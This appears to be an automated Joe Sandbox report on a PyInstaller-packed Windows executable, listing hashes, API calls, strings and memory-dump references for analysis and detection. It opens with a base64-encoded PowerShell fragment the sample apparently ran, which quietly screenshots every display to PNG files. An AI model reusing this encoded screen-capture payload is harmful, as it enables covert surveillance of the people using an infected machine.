AgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	29

Executed Functions

Function 00007FF62C0F89E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62C0F9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF62C0F45F4,00000000,00007FF62C0F1985), ref: 00007FF62C0F93C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8A56

Part of subcall function 00007FF62C10A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10A490

Part of subcall function 00007FF62C10871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C108783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8AE6
CreateProcessW.KERNELBASE ref: 00007FF62C0F8B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8B28

Part of subcall function 00007FF62C0F2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF62C0F3706,?,00007FF62C0F3804), ref: 00007FF62C0F2C9E
Part of subcall function 00007FF62C0F2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF62C0F3706,?,00007FF62C0F3804), ref: 00007FF62C0F2D63
Part of subcall function 00007FF62C0F2C50: MessageBoxW.USER32 ref: 00007FF62C0F2D99

RegisterClassW.USER32 ref: 00007FF62C0F8B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8B8B
CreateWindowExW.USER32 ref: 00007FF62C0F8BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8C15
PeekMessageW.USER32 ref: 00007FF62C0F8C39
TranslateMessage.USER32 ref: 00007FF62C0F8C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8C51
PeekMessageW.USER32 ref: 00007FF62C0F8C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8E04
GetExitCodeProcess.KERNELBASE ref: 00007FF62C0F8E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF62C0F3F77), ref: 00007FF62C0F8E2F

Strings

Failed to create child process!, xrefs: 00007FF62C0F8B30
PyInstaller Onefile Hidden Window, xrefs: 00007FF62C0F8B95
CreateProcessW, xrefs: 00007FF62C0F8B37
PyInstallerOnefileHiddenWindow, xrefs: 00007FF62C0F8B54

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: d7252acce92481b4eccf3537b187236782f2d67d36c8bbdcf4d5647aad6e1b89
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: B6D18172A08A8286EF108F38EC592AD3760FF95B68F504235DE5E83AA4DF7CD154C746

Function 00007FF62C0F1000 Relevance: 60.0, APIs: 6, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pyi-disable-windowed-traceback, xrefs: 00007FF62C0F3BB2
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF62C0F3A0B, 00007FF62C0F3CD4, 00007FF62C0F3F63
Failed to convert DLL search path!, xrefs: 00007FF62C0F3DD4
pyi-contents-directory, xrefs: 00007FF62C0F3B8D
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF62C0F3D12
MEI, xrefs: 00007FF62C0F3933
VCRUNTIME140.dll, xrefs: 00007FF62C0F3DA9
Failed to load splash screen resources!, xrefs: 00007FF62C0F3E7D
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF62C0F39DE
pyi-python-flag, xrefs: 00007FF62C0F3AD6
Failed to remove temporary directory: %s, xrefs: 00007FF62C0F3FC7
_PYI_ARCHIVE_FILE, xrefs: 00007FF62C0F38D2, 00007FF62C0F39FF
Could not create temporary directory!, xrefs: 00007FF62C0F3CBF
_PYI_SPLASH_IPC, xrefs: 00007FF62C0F3A23, 00007FF62C0F3EED
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF62C0F3BE8
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF62C0F3C61
pyi-runtime-tmpdir, xrefs: 00007FF62C0F3B68
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF62C0F3A17, 00007FF62C0F3A2F, 00007FF62C0F3A9B
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF62C0F3B32
pkg, xrefs: 00007FF62C0F39BE
Py_GIL_DISABLED, xrefs: 00007FF62C0F3AF4
Failed to start splash screen!, xrefs: 00007FF62C0F3ECC
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF62C0F3971
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF62C0F3D35
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF62C0F3E02
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF62C0F3E9E
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF62C0F3882, 00007FF62C0F38AF
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF62C0F3EB3

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-4232158417
Opcode ID: b59ec9e18f1dd073e3b30b9e3dcae57b2124c2bfc9e785f26d811ecd91d23ade
Instruction ID: 07fd297666852b32e2404955a40a48b84be1a2526650888eaf70879d5613dbf1
Opcode Fuzzy Hash: b59ec9e18f1dd073e3b30b9e3dcae57b2124c2bfc9e785f26d811ecd91d23ade
Instruction Fuzzy Hash: D5329D21A0C68299FE15DB259C6A3F92391AF557B0F444032DE4DC32C6EF6EE598C30A

Function 00007FF62C115C00 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF62C115C45

Part of subcall function 00007FF62C115598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1155AC

Part of subcall function 00007FF62C10A948: RtlFreeHeap.NTDLL(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A95E
Part of subcall function 00007FF62C10A948: GetLastError.KERNEL32(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A968

Part of subcall function 00007FF62C10A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF62C10A8DF,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10A909
Part of subcall function 00007FF62C10A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF62C10A8DF,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10A92E

_get_daylight.LIBCMT ref: 00007FF62C115C34

Part of subcall function 00007FF62C1155F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C11560C

_get_daylight.LIBCMT ref: 00007FF62C115EAA
_get_daylight.LIBCMT ref: 00007FF62C115EBB
_get_daylight.LIBCMT ref: 00007FF62C115ECC
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF62C11610C), ref: 00007FF62C115EF3

Strings

Eastern Standard Time, xrefs: 00007FF62C115F99
Eastern Summer Time, xrefs: 00007FF62C115FB1

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction ID: d061b790e320011e79604dc9619bf2e00105fd14082ef2a8b2f39ae4daa24266
Opcode Fuzzy Hash: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction Fuzzy Hash: F8D1D526F0865286EF20DF2ADC4A1B96761EFA47B4F848036DE0DC7A95DF7CE4418742

Function 00007FF62C116964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62C116698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1166D9
Part of subcall function 00007FF62C116698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C116757
Part of subcall function 00007FF62C116698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1167A8

CreateFileW.KERNELBASE ref: 00007FF62C116A6A
CreateFileW.KERNEL32 ref: 00007FF62C116ABA
GetLastError.KERNEL32 ref: 00007FF62C116AEA
GetFileType.KERNELBASE ref: 00007FF62C116AFF
GetLastError.KERNEL32 ref: 00007FF62C116B09
CloseHandle.KERNEL32 ref: 00007FF62C116B3C
CloseHandle.KERNEL32 ref: 00007FF62C116C9F
CreateFileW.KERNEL32 ref: 00007FF62C116CD4
GetLastError.KERNEL32 ref: 00007FF62C116CE3

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: f3ffae9780d734514fcb538aa07b0dcc20ba3d22e7a81d5df1322f1f37e7ba48
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 3BC1DF32B28A4686EF10CFA9D8962AC3761FB59BA8B014235DE1E977D4DF7DD051C301

Function 00007FF62C0F83C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF62C0F8919,00007FF62C0F3F9D), ref: 00007FF62C0F842B
RemoveDirectoryW.KERNEL32(?,00007FF62C0F8919,00007FF62C0F3F9D), ref: 00007FF62C0F84AE
DeleteFileW.KERNELBASE(?,00007FF62C0F8919,00007FF62C0F3F9D), ref: 00007FF62C0F84CD
FindNextFileW.KERNELBASE(?,00007FF62C0F8919,00007FF62C0F3F9D), ref: 00007FF62C0F84DB
FindClose.KERNEL32(?,00007FF62C0F8919,00007FF62C0F3F9D), ref: 00007FF62C0F84EC
RemoveDirectoryW.KERNELBASE(?,00007FF62C0F8919,00007FF62C0F3F9D), ref: 00007FF62C0F84F5

Strings

%s\*, xrefs: 00007FF62C0F83F2

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: 5a4c9c5329e50b266b8a1199ffe3e1a54a90469d85353712d09d069954f98b4d
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: C0416021A0C94289EE209B24EC591FA6360FF96774F500332ED9DC2694EF7DE585C74A

Function 00007FF62C115E7C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF62C115EAA

Part of subcall function 00007FF62C1155F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C11560C

_get_daylight.LIBCMT ref: 00007FF62C115EBB

Part of subcall function 00007FF62C115598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1155AC

_get_daylight.LIBCMT ref: 00007FF62C115ECC

Part of subcall function 00007FF62C1155C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1155DC

Part of subcall function 00007FF62C10A948: RtlFreeHeap.NTDLL(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A95E
Part of subcall function 00007FF62C10A948: GetLastError.KERNEL32(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A968

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF62C11610C), ref: 00007FF62C115EF3

Strings

Eastern Standard Time, xrefs: 00007FF62C115F99
Eastern Summer Time, xrefs: 00007FF62C115FB1

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction ID: 0e42b684767fa3ed664132e555174cfc10165d9da2b06abb7b9885b629ba32e5
Opcode Fuzzy Hash: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction Fuzzy Hash: 6451C532A0864286EF10DF29DC8B5B96760FFA87A4F808135EA4DC7B95DF7CE4418746

Function 00007FF62C0F9280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF62C0F92B3
FindClose.KERNELBASE ref: 00007FF62C0F92C2

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: 5c466dba17c168f6fd9a0177b639aa02d90b1af07c7b936a826a034eeb355c6b
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: F8F06862A1874186FBB09B64B8997667350EB85778F040335DE6D42AD4DF7CD089CA05

Function 00007FF62C1108C8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 537422541fbed36a77ddee3a41e978a3695e14332b64c7d8d0a2d6c09592a1ae
Instruction ID: 16f16bad3f3088495e80f7b032d49450eb5dffb7d82bcd1b3f6ff16d461f0912
Opcode Fuzzy Hash: 537422541fbed36a77ddee3a41e978a3695e14332b64c7d8d0a2d6c09592a1ae
Instruction Fuzzy Hash: 45020121F1DA9741FE55AB19AC0F2B92680AF51BB0F458635ED5DE73D2DEBCE4008382

Function 00007FF62C0F1950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62C0F7F90: _fread_nolock.LIBCMT ref: 00007FF62C0F803A

_fread_nolock.LIBCMT ref: 00007FF62C0F1A1B

Part of subcall function 00007FF62C0F2910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF62C0F1B6A), ref: 00007FF62C0F295E

Strings

Could not allocate memory for archive structure!, xrefs: 00007FF62C0F1A61
fread, xrefs: 00007FF62C0F1A32, 00007FF62C0F1B5C
calloc, xrefs: 00007FF62C0F1A68
Failed to seek to cookie position!, xrefs: 00007FF62C0F19EE
Failed to read cookie!, xrefs: 00007FF62C0F1A2B
fseek, xrefs: 00007FF62C0F19F5
malloc, xrefs: 00007FF62C0F1B22
Error on file., xrefs: 00007FF62C0F1B8D
Could not read full TOC!, xrefs: 00007FF62C0F1B55
Could not allocate buffer for TOC!, xrefs: 00007FF62C0F1B1B
MEI, xrefs: 00007FF62C0F1991

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 4d37377fcd544e5bc457dd1f94d5fe39e21ec1f5484c8870d358832dbde1365c
Instruction ID: 71f3631da99adedec12b24781d99b66ab8a29dafd1101ad8d3dea79342d45c8c
Opcode Fuzzy Hash: 4d37377fcd544e5bc457dd1f94d5fe39e21ec1f5484c8870d358832dbde1365c
Instruction Fuzzy Hash: 1081D571A0C6868AEF20DB28DC562F923A0EF487A4F404431ED8DC7795DF7DE9858786

Function 00007FF62C0F1600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fwrite, xrefs: 00007FF62C0F17D1
fread, xrefs: 00007FF62C0F17E6
Failed to create symbolic link %s!, xrefs: 00007FF62C0F1622
fopen, xrefs: 00007FF62C0F1663
fseek, xrefs: 00007FF62C0F16E1
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF62C0F17DF
malloc, xrefs: 00007FF62C0F1749
Failed to extract %s: failed to open target file!, xrefs: 00007FF62C0F165C
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF62C0F16DA
Failed to extract %s: failed to open archive file!, xrefs: 00007FF62C0F16A2
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF62C0F1742
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF62C0F17CA

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
